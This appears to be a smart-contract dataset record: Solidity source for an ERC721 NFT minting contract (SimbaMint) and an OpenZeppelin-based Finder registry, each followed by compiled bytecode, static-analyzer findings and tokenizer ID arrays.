override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: SimbaMint.sol contract SimbaMint is ERC721Enumerable,Ownable { using Counters for Counters.Counter; using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public constant MAX_MINT = 25; uint256 public constant ROYALTY = 1000; uint256 public constant MINT_PRICE = 5*(10**21);//5000 simba to mint bool public sale; address public royaltyAddress; Counters.Counter internal tokenid; string internal URI; IERC20 immutable public simba; mapping(uint256 => string) private _tokenURIs; constructor( IERC20 _simba, address _royaltyAddress, string memory _URI) ERC721("SimbaGenesis","SIMBA"){ URI=_URI; royaltyAddress=_royaltyAddress; simba=_simba; } function mint(uint8 _amount) external { require(sale, "Sale is not active at the moment"); require(tokenid.current() < MAX_MINT); uint256 cost = MINT_PRICE.mul(_amount); simba.safeTransferFrom(address(msg.sender), address(this), cost); for (uint256 _i = 0; _i < _amount; _i++) { tokenid.increment(); _mint(msg.sender, tokenid.current()); _setTokenURI(tokenid.current(), URI); } } function switchSale() external onlyOwner { sale = !sale; } function remaining() external view returns(uint256){ uint256 remainder= MAX_MINT.sub(tokenid.current()); return remainder; } function royaltyInfo(uint256, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount){ return (royaltyAddress, (_salePrice.mul(ROYALTY)).div(10000)); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; return _tokenURI; } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636eb4d2e711610104578063a22cb465116100a2578063c87b56dd11610071578063c87b56dd14610378578063e985e9c51461038b578063f0292a031461039e578063f2fde38b146103a6576101cf565b8063a22cb46514610342578063ad2f852a14610355578063b88d4fde1461035d578063c002d23d14610370576101cf565b8063715018a6116100de578063715018a6146103225780638704a2081461032a5780638da5cb5b1461033257806395d89b411461033a576101cf565b80636eb4d2e7146102f45780636ecd2306146102fc57806370a082311461030f576101cf565b80632f745c59116101715780635322f9d11161014b5780635322f9d1146102c957806355234ec0146102d15780636352211e146102d95780636ad1fe02146102ec576101cf565b80632f745c591461029057806342842e0e146102a35780634f6ccce7146102b6576101cf565b8063095ea7b3116101ad578063095ea7b31461023257806318160ddd1461024757806323b872dd1461025c5780632a55205a1461026f576101cf565b806301ffc9a7146101d457806306fdde03146101fd578063081812fc14610212575b600080fd5b6101e76101e23660046118bc565b6103b9565b6040516101f49190611a24565b60405180910390f35b6102056103e6565b6040516101f49190611a2f565b6102256102203660046118f4565b610478565b6040516101f49190611996565b610245610240366004611877565b6104c4565b005b61024f61055c565b6040516101f4919061208b565b61024561026a36600461173a565b610562565b61028261027d36600461190c565b61059a565b6040516101f4929190611a0b565b61024f61029e366004611877565b6105ce565b6102456102b136600461173a565b610620565b61024f6102c43660046118f4565b61063b565b610245610696565b61024f6106f6565b6102256102e73660046118f4565b610714565b6101e7610749565b610225610759565b61024561030a36600461192d565b61077d565b61024f61031d3660046116ee565b6108e6565b61024561092a565b61024f610975565b61022561097b565b61020561098a565b610245610350366004611841565b610999565b610225610a67565b61024561036b366004611775565b610a76565b61024f610ab5565b6102056103863660046118f4565b610ac3565b6101e7610399366004611708565b610b89565b61024f610bb7565b6102456103b43660046116ee565b610bbc565b60006001600160e01b0319821663780e9d6360e01b14806103de57506103de82610c2d565b90505b919050565b6060600080546103f59061212e565b80601f01602080910402602001604051908101604052809291908181526020018280546104219061212e565b801561046e5780601f106104435761010080835404028352916020019161046e565b820191906000526020600020905b81548152906001019060200180831161045157829003601f168201915b5050505050905090565b600061048382610c6d565b6104a85760405162461bcd60e51b815260040161049f90611e2d565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006104cf82610714565b9050806001600160a01b0316836001600160a01b031614156105035760405162461bcd60e51b815260040161049f90611ef7565b806001600160a01b0316610515610c8a565b6001600160a01b03161480610531575061053181610399610c8a565b61054d5760405162461bcd60e51b815260040161049f90611c69565b6105578383610c8e565b505050565b60085490565b61057361056d610c8a565b82610cfc565b61058f5760405162461bcd60e51b815260040161049f90611f38565b610557838383610d81565b600b5460009081906001600160a01b03166105c36127106105bd866103e8610eae565b90610ec1565b915091509250929050565b60006105d9836108e6565b82106105f75760405162461bcd60e51b815260040161049f90611a42565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b61055783838360405180602001604052806000815250610a76565b600061064561055c565b82106106635760405162461bcd60e51b815260040161049f90611fc0565b6008828154811061068457634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b61069e610c8a565b6001600160a01b03166106af61097b565b6001600160a01b0316146106d55760405162461bcd60e51b815260040161049f90611e79565b600a805460ff60a01b198116600160a01b9182900460ff1615909102179055565b60008061070e610706600c610ecd565b601990610ed1565b91505090565b6000818152600260205260408120546001600160a01b0316806103de5760405162461bcd60e51b815260040161049f90611d10565b600a54600160a01b900460ff1681565b7f000000000000000000000000cc72961e7ba4a8f7982594b0b661d3f02dcf239f81565b600a54600160a01b900460ff166107a65760405162461bcd60e51b815260040161049f90612056565b60196107b2600c610ecd565b106107bc57600080fd5b60006107d569010f0cf064dd5920000060ff8416610eae565b905061080c6001600160a01b037f000000000000000000000000cc72961e7ba4a8f7982594b0b661d3f02dcf239f16333084610edd565b60005b8260ff1681101561055757610824600c610f35565b61083733610832600c610ecd565b610f3e565b6108d4610844600c610ecd565b600d80546108519061212e565b80601f016020809104026020016040519081016040528092919081815260200182805461087d9061212e565b80156108ca5780601f1061089f576101008083540402835291602001916108ca565b820191906000526020600020905b8154815290600101906020018083116108ad57829003601f168201915b505050505061101d565b806108de81612169565b91505061080f565b60006001600160a01b03821661090e5760405162461bcd60e51b815260040161049f90611cc6565b506001600160a01b031660009081526003602052604090205490565b610932610c8a565b6001600160a01b031661094361097b565b6001600160a01b0316146109695760405162461bcd60e51b815260040161049f90611e79565b6109736000611061565b565b6103e881565b600a546001600160a01b031690565b6060600180546103f59061212e565b6109a1610c8a565b6001600160a01b0316826001600160a01b031614156109d25760405162461bcd60e51b815260040161049f90611ba0565b80600560006109df610c8a565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610a23610c8a565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610a5b9190611a24565b60405180910390a35050565b600b546001600160a01b031681565b610a87610a81610c8a565b83610cfc565b610aa35760405162461bcd60e51b815260040161049f90611f38565b610aaf848484846110b3565b50505050565b69010f0cf064dd5920000081565b6060610ace82610c6d565b610aea5760405162461bcd60e51b815260040161049f90611ddc565b6000828152600e602052604081208054610b039061212e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2f9061212e565b8015610b7c5780601f10610b5157610100808354040283529160200191610b7c565b820191906000526020600020905b815481529060010190602001808311610b5f57829003601f168201915b5093979650505050505050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b601981565b610bc4610c8a565b6001600160a01b0316610bd561097b565b6001600160a01b031614610bfb5760405162461bcd60e51b815260040161049f90611e79565b6001600160a01b038116610c215760405162461bcd60e51b815260040161049f90611adf565b610c2a81611061565b50565b60006001600160e01b031982166380ac58cd60e01b1480610c5e57506001600160e01b03198216635b5e139f60e01b145b806103de57506103de826110e6565b6000908152600260205260409020546001600160a01b0316151590565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610cc382610714565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610d0782610c6d565b610d235760405162461bcd60e51b815260040161049f90611c1d565b6000610d2e83610714565b9050806001600160a01b0316846001600160a01b03161480610d695750836001600160a01b0316610d5e84610478565b6001600160a01b0316145b80610d795750610d798185610b89565b949350505050565b826001600160a01b0316610d9482610714565b6001600160a01b031614610dba5760405162461bcd60e51b815260040161049f90611eae565b6001600160a01b038216610de05760405162461bcd60e51b815260040161049f90611b5c565b610deb8383836110ff565b610df6600082610c8e565b6001600160a01b0383166000908152600360205260408120805460019290610e1f9084906120eb565b90915550506001600160a01b0382166000908152600360205260408120805460019290610e4d908490612094565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000610eba82846120cc565b9392505050565b6000610eba82846120ac565b5490565b6000610eba82846120eb565b610aaf846323b872dd60e01b858585604051602401610efe939291906119aa565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611188565b80546001019055565b6001600160a01b038216610f645760405162461bcd60e51b815260040161049f90611da7565b610f6d81610c6d565b15610f8a5760405162461bcd60e51b815260040161049f90611b25565b610f96600083836110ff565b6001600160a01b0382166000908152600360205260408120805460019290610fbf908490612094565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b61102682610c6d565b6110425760405162461bcd60e51b815260040161049f90611d59565b6000828152600e6020908152604090912082516105579284019061163e565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6110be848484610d81565b6110ca84848484611217565b610aaf5760405162461bcd60e51b815260040161049f90611a8d565b6001600160e01b031981166301ffc9a760e01b14919050565b61110a838383610557565b6001600160a01b0383166111265761112181611332565b611149565b816001600160a01b0316836001600160a01b031614611149576111498382611376565b6001600160a01b0382166111655761116081611413565b610557565b826001600160a01b0316826001600160a01b0316146105575761055782826114ec565b60006111dd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166115309092919063ffffffff16565b80519091501561055757808060200190518101906111fb91906118a0565b6105575760405162461bcd60e51b815260040161049f9061200c565b600061122b846001600160a01b031661153f565b1561132757836001600160a01b031663150b7a02611247610c8a565b8786866040518563ffffffff1660e01b815260040161126994939291906119ce565b602060405180830381600087803b15801561128357600080fd5b505af19250505080156112b3575060408051601f3d908101601f191682019092526112b0918101906118d8565b60015b61130d573d8080156112e1576040519150601f19603f3d011682016040523d82523d6000602084013e6112e6565b606091505b5080516113055760405162461bcd60e51b815260040161049f90611a8d565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610d79565b506001949350505050565b600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b60006001611383846108e6565b61138d91906120eb565b6000838152600760205260409020549091508082146113e0576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611425906001906120eb565b6000838152600960205260408120546008805493945090928490811061145b57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061148a57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806114d057634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006114f7836108e6565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6060610d798484600085611545565b3b151590565b6060824710156115675760405162461bcd60e51b815260040161049f90611bd7565b6115708561153f565b61158c5760405162461bcd60e51b815260040161049f90611f89565b600080866001600160a01b031685876040516115a8919061197a565b60006040518083038185875af1925050503d80600081146115e5576040519150601f19603f3d011682016040523d82523d6000602084013e6115ea565b606091505b50915091506115fa828286611605565b979650505050505050565b60608315611614575081610eba565b8251156116245782518084602001fd5b8160405162461bcd60e51b815260040161049f9190611a2f565b82805461164a9061212e565b90600052602060002090601f01602090048101928261166c57600085556116b2565b82601f1061168557805160ff19168380011785556116b2565b828001600101855582156116b2579182015b828111156116b2578251825591602001919060010190611697565b506116be9291506116c2565b5090565b5b808211156116be57600081556001016116c3565b80356001600160a01b03811681146103e157600080fd5b6000602082840312156116ff578081fd5b610eba826116d7565b6000806040838503121561171a578081fd5b611723836116d7565b9150611731602084016116d7565b90509250929050565b60008060006060848603121561174e578081fd5b611757846116d7565b9250611765602085016116d7565b9150604084013590509250925092565b6000806000806080858703121561178a578081fd5b611793856116d7565b935060206117a28187016116d7565b935060408601359250606086013567ffffffffffffffff808211156117c5578384fd5b818801915088601f8301126117d8578384fd5b8135818111156117ea576117ea61219a565b604051601f8201601f191681018501838111828210171561180d5761180d61219a565b60405281815283820185018b1015611823578586fd5b81858501868301379081019093019390935250939692955090935050565b60008060408385031215611853578182fd5b61185c836116d7565b9150602083013561186c816121b0565b809150509250929050565b60008060408385031215611889578182fd5b611892836116d7565b946020939093013593505050565b6000602082840312156118b1578081fd5b8151610eba816121b0565b6000602082840312156118cd578081fd5b8135610eba816121be565b6000602082840312156118e9578081fd5b8151610eba816121be565b600060208284031215611905578081fd5b5035919050565b6000806040838503121561191e578182fd5b50508035926020909101359150565b60006020828403121561193e578081fd5b813560ff81168114610eba578182fd5b60008151808452611966816020860160208601612102565b601f01601f19169290920160200192915050565b6000825161198c818460208701612102565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611a019083018461194e565b9695505050505050565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b600060208252610eba602083018461194e565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252602e908201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60408201526d32bc34b9ba32b73a103a37b5b2b760911b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b60208082526031908201527f45524337323155524953746f726167653a2055524920717565727920666f72206040820152703737b732bc34b9ba32b73a103a37b5b2b760791b606082015260800190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252818101527f53616c65206973206e6f742061637469766520617420746865206d6f6d656e74604082015260600190565b90815260200190565b600082198211156120a7576120a7612184565b500190565b6000826120c757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156120e6576120e6612184565b500290565b6000828210156120fd576120fd612184565b500390565b60005b8381101561211d578181015183820152602001612105565b83811115610aaf5750506000910152565b60028104600182168061214257607f821691505b6020821081141561216357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561217d5761217d612184565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b8015158114610c2a57600080fd5b6001600160e01b031981168114610c2a57600080fdfea2646970667358221220b3d080c2f083c8e3850601e19d2e3f8632dec51696b5b458d8325f8bb0aa871864736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2581, 2683, 2475, 6305, 2692, 2509, 27717, 2487, 22367, 2575, 2546, 2475, 2497, 2683, 16409, 19481, 11387, 11387, 21057, 15878, 14526, 2629, 3540, 2683, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 2112, 1024, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1030, 1018, 1012, 1016, 1012, 1014, 1013, 4769, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,604
0x95693c802112e60352a6e26c2860b4626303ab9d
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "../interfaces/FinderInterface.sol"; /** * @title Provides addresses of the live contracts implementing certain interfaces. * @dev Examples of interfaces with implementations that Finder locates are the Oracle and Store interfaces. */ contract Finder is FinderInterface, Ownable { mapping(bytes32 => address) public interfacesImplemented; event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress); /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 of the interface name that is either changed or registered. * @param implementationAddress address of the implementation contract. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external override onlyOwner { interfacesImplemented[interfaceName] = implementationAddress; emit InterfaceImplementationChanged(interfaceName, implementationAddress); } /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the defined interface. */ function getImplementationAddress(bytes32 interfaceName) external view override returns (address) { address implementationAddress = interfacesImplemented[interfaceName]; require(implementationAddress != address(0x0), "Implementation not found"); return implementationAddress; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; /** * @title Provides addresses of the live contracts implementing certain interfaces. * @dev Examples are the Oracle or Store interfaces. */ interface FinderInterface { /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 encoding of the interface name that is either changed or registered. * @param implementationAddress address of the deployed contract that implements the interface. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external; /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the deployed contract that implements the interface. */ function getImplementationAddress(bytes32 interfaceName) external view returns (address); }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806331f9665e14610067578063715018a61461007c5780638da5cb5b14610084578063aafd5e40146100ad578063cc48f4db146100c0578063f2fde38b146100e9575b600080fd5b61007a6100753660046103a6565b6100fc565b005b61007a610188565b6000546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b6100916100bb36600461038e565b6101fc565b6100916100ce36600461038e565b6001602052600090815260409020546001600160a01b031681565b61007a6100f736600461036d565b610267565b6000546001600160a01b0316331461012f5760405162461bcd60e51b8152600401610126906103d1565b60405180910390fd5b60008281526001602052604080822080546001600160a01b0319166001600160a01b0385169081179091559051909184917fb29aa13e555039289e0513962835b00fcc6e4a265ae8f99e68e5b90d5406fe489190a35050565b6000546001600160a01b031633146101b25760405162461bcd60e51b8152600401610126906103d1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000818152600160205260408120546001600160a01b0316806102615760405162461bcd60e51b815260206004820152601860248201527f496d706c656d656e746174696f6e206e6f7420666f756e6400000000000000006044820152606401610126565b92915050565b6000546001600160a01b031633146102915760405162461bcd60e51b8152600401610126906103d1565b6001600160a01b0381166102f65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610126565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461036857600080fd5b919050565b60006020828403121561037e578081fd5b61038782610351565b9392505050565b60006020828403121561039f578081fd5b5035919050565b600080604083850312156103b8578081fd5b823591506103c860208401610351565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea2646970667358221220f1126ea3bae802aa0b2a2a6ab3d515ea057c7c088940fc5852022e02aa55b19464736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26976, 2683, 2509, 2278, 17914, 17465, 12521, 2063, 16086, 19481, 2475, 2050, 2575, 2063, 23833, 2278, 22407, 16086, 2497, 21472, 23833, 14142, 2509, 7875, 2683, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 2064, 2101, 2022, 102 ]
